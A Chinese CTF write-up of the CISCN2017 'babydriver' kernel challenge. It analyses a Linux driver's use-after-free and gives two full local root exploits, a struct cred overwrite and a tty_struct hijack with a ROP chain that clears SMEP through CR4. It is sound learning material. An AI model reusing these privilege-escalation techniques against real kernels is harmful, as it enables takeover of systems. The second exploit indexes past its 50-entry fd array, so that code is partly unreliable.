CISCN2017_babydriver学习记录

经典 kernel pwn 入门题

  • 环境配置

    题目地址:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/kernel/CISCN2017-babydriver/babydriver.tar

    解压后启动 boot.sh 失败,需要虚拟机开一下 虚拟化 Intel VT-x/EPT 或 AMD-V/RVI,开不了的话需要在 windows 下的管理员 cmd 窗口中执行 bcdedit /set hypervisorlaunchtype off,然后重启。

    进入题目之后先看 init,是需要提权才能拿 flag

    #!/bin/sh
     
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    umount /sys
    poweroff -d 0  -f
    

    具体的实现都在文件系统中(rootfs.cpio),需要进行一下解包

    mv rootfs.cpio rootfs.cpio.gz
    gunzip rootfs.cpio.gz
    cpio -idmv < rootfs.cpio
    

    一些内核的保护机制:

    1. mesg Restrictions:通过设置 /proc/sys/kernel/dmesg_restrict 为 1,可以将 dmesg 输出的信息视为敏感信息(默认为 0)
    2. Kernel Address Display Restriction:/proc/sys/kernel/kptr_restrict 被默认设置为 1,导致无法通过 /proc/kallsyms 获取内核地址
    3. Kernel PageTable Isolation:KPTI,内核页表隔离,进程地址空间被分成了内核地址空间和用户地址空间,其中内核地址空间映射到了整个物理地址空间,而用户地址空间只能映射到指定的物理地址空间。内核地址空间和用户地址空间共用一个页全局目录表。为了彻底防止用户程序获取内核数据,可以令内核地址空间和用户地址空间使用两组页表集
    4. Kernel ASLR:内核地址空间布局随机化
    5. SMEP(Supervisor Mode Execution Protection 管理模式执行保护):禁止CPU处于 ring0 模式时执行用户空间代码。
    6.SMAP(Superivisor Mode Access Protection 管理模式访问保护):禁止内核CPU访问用户空间的数据。
    7. Stack Protector:和用户态相同,canary
    8. Address Protection:内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间mmap 的内存从0开始,从而缓解空指针引用攻击。
    

    通过 boot.sh 可以看到开启了 smep 保护。

  • 程序分析

    1.babydriver_init

    从 babydriver_init 开始,首先调用 alloc_chrdev_region,向内核申请一个字符设备的新的主设备号,副设备号从 0 开始,设备名 babydev,申请的设备号存入 babydev_no 中。

    int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
          const char *name)
    alloc_chrdev_region(&babydev_no, 0, 1, "babydev");
    

    内核使用 cdev 类型的结构来表示字符设备,操作设备之前要初始化+注册对应结构体

    void cdev_init(struct cdev *cdev, const struct file_operations *fops)
    cdev_init(&cdev_0, &fops);
    

    cdev 是初始化的结构体,file_operations 用来设置该设备的各类操作。

    之后就是注册操作,之后改设备就可以被操作系统使用

    int cdev_add(struct cdev *p, dev_t dev, unsigned count)
    cdev_add(&cdev_0, babydev_no, 1LL);
    

    当 cdev 被注册进内核之后,该函数接着将当前设备的设备结点注册道 sysfs 中

    #define class_create(owner, name)    \
    ({            \
      static struct lock_class_key __key;  \
      __class_create(owner, name, &__key);  \
    })
    struct class *__class_create(struct module *owner, const char *name,
               struct lock_class_key *key)
    struct device *device_create(struct class *class, struct device *parent,
               dev_t devt, void *drvdata, const char *fmt, ...)
    
    v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
    v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
    

    首先调用 class_create 创建了一个 class 类型的类(?),并存到 sysfs 中,然后调用 device_create 动态创建逻辑设备并进行初始化,其中还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到 linux 内核的设备驱动中。(/sys/devices/virtual 中创建新的逻辑设备目录,/dev 中创建与逻辑类对应的设备文件)

    2.babydriver_exit

    执行一些释放操作。

    3.babyopen

    在内核中创建了 babydev_struct 结构体,并设置其成员变量。(用 kmalloc 创建)

      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
      babydev_struct.device_buf_len = 64LL;
    

    4.babyrelease

    将 open 中创建的堆块释放掉,但没有清空指针!

     kfree(babydev_struct.device_buf);
    

    5.babyread

    先判断 device_buf 是否为空,然后将 device_buf 上的内存 copy 到用户空间的 buffer 内存中

      if ( !babydev_struct.device_buf )
        return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
        v6 = v4;
        copy_to_user(buffer);
        result = v6;
      }
      return result
    

    6.babywrite

    将用户空间的 buffer 内存中的数据拷贝到内核空间的 device_buf 上

      if ( !babydev_struct.device_buf )
        return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
        v6 = v4;
        copy_from_user();
        result = v6;
      }
      return result;
    

    7.babyioctl

    将原先的 device_buf 释放并分配一块新的内存,但是新分配的这块内存的大小可以被用户指定。

      if ( command == 65537 )
      {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n");
        result = 0LL;
      }
      else
      {
        printk(&unk_2EB);
        result = -22LL;
      }
      return result;
    
  • 漏洞分析 -- UAF 修改 cred

    内核空间是所有进程都共享内存,如果打开了两个设备,会导致两个设备都对同一个全局指针babydev_struct 具备相应的读写能力。若将其中一个关闭,内存会被释放。由于全局指针未清0,另一个设备仍然可以对该内存进行读写,导致形成 uaf 漏洞。

    这个题的目的是提权,可以直接改进程的 struct cred。

    具体步骤如下:

    1. 用 open 打开两个 babydev 设备,它们的 babydev_struct.device_buf 指向同一块内存
    2. 调用 babyioctl 申请 struct cred 大小的内存(0xa8)
    3. release 释放其中一个 babydev 设备,另一个 babydev 设备仍对该空间具备读写能力
    4. fork 一个新进程,新进程对应的 struct cred 为刚刚释放的空间,未关闭的 babydev 拥有对这块空间的读写数据能力。
    5. write 将 0 写到 uid、gid、suid、sgid、euid、egid 字段,返回后创建 shell
    

    exp.c :

    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/wait.h>
    #include <unistd.h>
    
    int main() {
        int fd1 = open("/dev/babydev", O_RDWR);
        int fd2 = open("/dev/babydev", O_RDWR);
        ioctl(fd1, 65537, 0xa8);
        close(fd1);
    
        if (!fork()) {
            char mem[4 * 7];
            memset(mem, '\x00', sizeof(mem));
            write(fd2, mem, sizeof(mem));
    
            printf("[+] after LPE, privilege: %s\n", (getuid() ? "user" : "root"));
            system("/bin/sh");
        } else {
            waitpid(-1, NULL, 0);
        }
        return 0;
    }
    

    image-20220528215928737

  • 调试环境

    获取 vmlinux 用于调试,用 vmlinux-to-elf 转出的 vmlinux 带符号表(python3.5+)

    sudo apt install python3-pip
    sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf
    vmlinux-to-elf bzImage vmlinux
    

    快速启动脚本(root 权限运行):

    #!/bin/bash
    
    # 静态编译 exp
    gcc exp.c -static -o rootfs/exp
    
    # rootfs 打包
    pushd rootfs
    find . | cpio -o --format=newc > ../rootfs.cpio
    popd
    
    # 启动 gdb
    gnome-terminal -e 'gdb -x mygdbinit'
    
    # 启动 qemu
    qemu-system-x86_64 \
        -initrd rootfs.cpio \
        -kernel bzImage \
        -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
        -enable-kvm \
        -monitor /dev/null \
        -m 64M \
        --nographic  \
        -smp cores=1,threads=1 \
        -cpu kvm64,+smep \
        -s
    

    设置 gef 调试脚本 mygdbinit:

    set architecture i386:x86-64
    add-symbol-file vmlinux
    gef-remote --qemu-mode localhost:1234
    
    c
    
    # 先 continue, 在 insmod 之后手动 Ctrl+C 再设置断点,免得断点处于 pending 状态
    add-symbol-file babydriver.ko 0xffffffffc0000000
    
    b babyread
    b babywrite
    b babyioctl
    b babyopen
    b babyrelease
    
    c
    

    也可以通过另一种方式开启调试:

    #!/bin/bash
    qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234 -S
    
    gdb ./vmlinux
    target remote localhost:1234
    c
    add-symbol-file babydriver.ko 0xffffffffc0000000
    b babyopen
    c
    

    然后就可以愉快的 debug 了。

  • 另一种打法 -- kernel ROP

    用 uaf 修改 smep 属性,然后用 ret2usr 提权。系统根据 cr4 寄存器的第 20 位判断是否开启 SMEP 保护,通常可以向 CR4 寄存器中写入 0x6f0 来关闭 SMEP。

    首先通过 open("/dev/ptmx", O_RDWR) 操作让内核分配一个 tty_struct,其中第五个成员 const struct tty_operations *ops:

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;
    

    这是一个函数表,设备操作时,会调用 tty_operations 中相应的函数,如 open 会调用 int (open)(struct tty_struct * tty, struct file * filp),ioctl 会调用 int (ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg)。那么就可以通过劫持这个函数表来控制代码执行流。

    劫持后的操作需要 ROP 实现,但用户无法控制内核使用的内核栈,因此首先要栈迁移,也就是先放一个跳转到内核的 gadget,执行之后栈指针 rsp 落入用户空间,并在这段空间中放 ROP 链。

    实现栈迁移的指令:

    xchg eax,esp;ret
    

    rax 和 rsp 寄存器的低 32 位内容呼唤,高 32 位全部清零,在 ioctl, write 等函数中触发执行流转向的语句是 call rax,也就是说 rax 中保存的是 fake_tty_ops 中目标成员的内容,即执行流第一步跳到的地址。如果是 64 位全部交换那么 rsp 就是 rax 的原始值,是内核地址,但是只交换低 32 位而高位清零后,rsp 就指向了用户空间(已知),然后就可以在这片空间申请内存放 ROP 链。

    绕过 SMEP 后,接下来就是获取 commit_creds 和 prepare_kernel_cred 的地址,因为没开启 KASLR,所以内核地址是固定的,直接 cat 就能查看(但需要管理员身份,不过 init 已经将其移动到了 /tmp/kallsyms 下。

    执行完提权的 shell,接着用 swapgs 恢复 GS 的值,然后用 iretq 返回到内存空间,这里返回前需要一定的栈布局:

    image-20220628203123403

    最后的 exp:

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sched.h>
    #include <errno.h>
    #include <pty.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    
    #define COMMAND 0x10001
    
    #define ALLOC_NUM 50
    
    struct tty_operations
    {
        struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
        int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
        void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
        int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
        void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
        void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
        void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
        int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
        /* --- cacheline 1 boundary (64 bytes) --- */
        int (*put_char)(struct tty_struct *, unsigned char);                            /*    64     8 */
        void (*flush_chars)(struct tty_struct *);                                       /*    72     8 */
        int (*write_room)(struct tty_struct *);                                         /*    80     8 */
        int (*chars_in_buffer)(struct tty_struct *);                                    /*    88     8 */
        int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);             /*    96     8 */
        long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
        void (*set_termios)(struct tty_struct *, struct ktermios *);                    /*   112     8 */
        void (*throttle)(struct tty_struct *);                                          /*   120     8 */
        /* --- cacheline 2 boundary (128 bytes) --- */
        void (*unthrottle)(struct tty_struct *);           /*   128     8 */
        void (*stop)(struct tty_struct *);                 /*   136     8 */
        void (*start)(struct tty_struct *);                /*   144     8 */
        void (*hangup)(struct tty_struct *);               /*   152     8 */
        int (*break_ctl)(struct tty_struct *, int);        /*   160     8 */
        void (*flush_buffer)(struct tty_struct *);         /*   168     8 */
        void (*set_ldisc)(struct tty_struct *);            /*   176     8 */
        void (*wait_until_sent)(struct tty_struct *, int); /*   184     8 */
        /* --- cacheline 3 boundary (192 bytes) --- */
        void (*send_xchar)(struct tty_struct *, char);                           /*   192     8 */
        int (*tiocmget)(struct tty_struct *);                                    /*   200     8 */
        int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int);        /*   208     8 */
        int (*resize)(struct tty_struct *, struct winsize *);                    /*   216     8 */
        int (*set_termiox)(struct tty_struct *, struct termiox *);               /*   224     8 */
        int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   232     8 */
        const struct file_operations *proc_fops;                                 /*   240     8 */
    
        /* size: 248, cachelines: 4, members: 31 */
        /* last cacheline: 56 bytes */
    };
    
    typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
    
    _commit_creds commit_creds = 0xffffffff810a1420;
    _prepare_kernel_cred prepare_kernel_cred = 0xffffffff810a1810;
    unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
    unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
    unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
    unsigned long iretq = 0xFFFFFFFF8181A797;
    unsigned long swapgs = 0xFFFFFFFF81063694;
    
    void get_root_payload(void) {
        commit_creds(prepare_kernel_cred(0));
    }
    
    void get_shell() {
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
    
    struct tty_operations fake_ops;
    
    char fake_procfops[1024];
    
    unsigned long user_cs, user_ss, user_rflags;
    
    static void save_state() {
        
        asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "pushfq\n"
            "popq %2\n"
            : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
            :
            : "memory");
    }
    
    void set_affinity(int which_cpu) {
        
        cpu_set_t cpu_set;
    }
    
    int main() {
         
         int fd = 0;
         int fd1 = 0;
         int cmd;
         int arg = 0;
         char Buf[4096];
         int result;
         int j;
         struct tty_struct *tty;
         int m_fd[ALLOC_NUM], s_fd[ALLOC_NUM];
         int i, len;
         unsigned long lower_addr;
         unsigned long base;
         char buff2[0x300];
    
         printf("[+]Save state...\n");
         save_state();
         printf("[+]save_state done\n");
    
         printf("[+]Set attinity...\n");
         set_affinity(0);
         printf("[+]set affinity done\n");
    
         printf("[+]Prepare fake_ops and fake_procfops...\n");
         memset(&fake_ops, 0, sizeof(fake_ops));
         memset(fake_procfops, 0, sizeof(fake_procfops));
         fake_ops.proc_fops = &fake_procfops;
         fake_ops.ioctl = xchgeaxesp;
    
        printf("[+]fake_tty_ops & fake_procfops prepare done\n");
    	printf("[+]addr of fake_ops: %p\n",&fake_ops);
    	printf("[+]addr of fake_procfops: %p\n",fake_procfops);
    
        // open two babydev
        printf("[+] Open two babydev...\n");
        fd = open("/dev/babydev", O_RDWR);
        fd1 = open("/dev/babydev", O_RDWR);
        printf("[+]babyopen twice done\n");
    
        // init babydev_struct
        printf("[+]Init buffer for tty_struct(size:%d)...\n", sizeof(tty));
        ioctl(fd,COMMAND,0x2e0);
        ioctl(fd1,COMMAND,0x2e0);
    	printf("[+]babyioctl twice done\n");
    
        //race condition
        printf("[+]Free buffer 1st...\n");
        close(fd);
    	printf("[+]free fd done\n");
    
        printf("[+]Try to occupy tty_struct...\n");
        for(i = 0; i < ALLOC_NUM; i++) {
            m_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);
            if(m_fd[i] == -1)
            {
                printf("[-]The %d pmtx error\n", i);
            }
        }
        printf("[+]open ptmx done\n");
    
        printf("[+]Let's debug it\n");
        printf("[+]addr of xchgeaxesp: %p\n", xchgeaxesp);
        lower_addr = xchgeaxesp & 0xFFFFFFFF;
        base = lower_addr & ~0xFFF;
        if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base)
        {
            perror("mmap");
            exit(1);
        }
        unsigned long rop_chain[] = {
            poprdiret,
            0x6f0,
            native_write_cr4,
            get_root_payload,
            swapgs,
            0,  // dummy
            iretq,
            get_shell,
            user_cs, user_rflags, base + 0x10000, user_ss
        };
        memcpy(lower_addr, rop_chain, sizeof(rop_chain));
    	printf("[+]addr of mmap base: %p\n",base);
    	printf("[+]addr of ROP chain: %p\n",lower_addr);
    	printf("[+]addr of get_root_payload: %p\n",get_root_payload);
    	printf("[+]addr of get_shell: %p\n",get_shell);
    
        // uaf here
    
        printf("[+]Read tty_struct...\n");
        len = read(fd1, buff2, 0x20);
        if (len == -1) 
        {
            perror("read");
            exit(-1);
        }
        printf("[+]read tty_struct done\n");
    
        printf("[+]Head content of tty_struct(before):\n");
        for (j = 0; j < 4; j++)
        {
            printf("(%d)%p\n", j, *(unsigned long long*)(buff2 + j*8));
        }
    
        printf("[+]Modify tty_struct...\n");
        *(unsigned long long*)(buff2 + 3*8) = &fake_ops;
        printf("[+]modify tty_struct done\n");
    
        printf("[+]Write back to tty_struct...\n");
        len = write(fd1, buff2, 0x20);
        if (len == -1) 
        {
            perror("write");
            exit(-1);
        }
        printf("[+]write back to tty_struct done\n");
    
        printf("[+]Head content of tty_struct(after):\n");
            for(j =0; j < 4; j++)
        {
            printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
        }
    
        printf("[+]Get shell...\n");
        for(i = 0; i < 256; i++)
        {
            ioctl(m_fd[i], 0, 0);//FFFFFFFF814D8AED call rax
        }
    	printf("[+]get shell done");
    }
    
  • 参考文献

posted @ 2022-07-12 18:05  moon_flower  阅读(172)  评论(0编辑  收藏  举报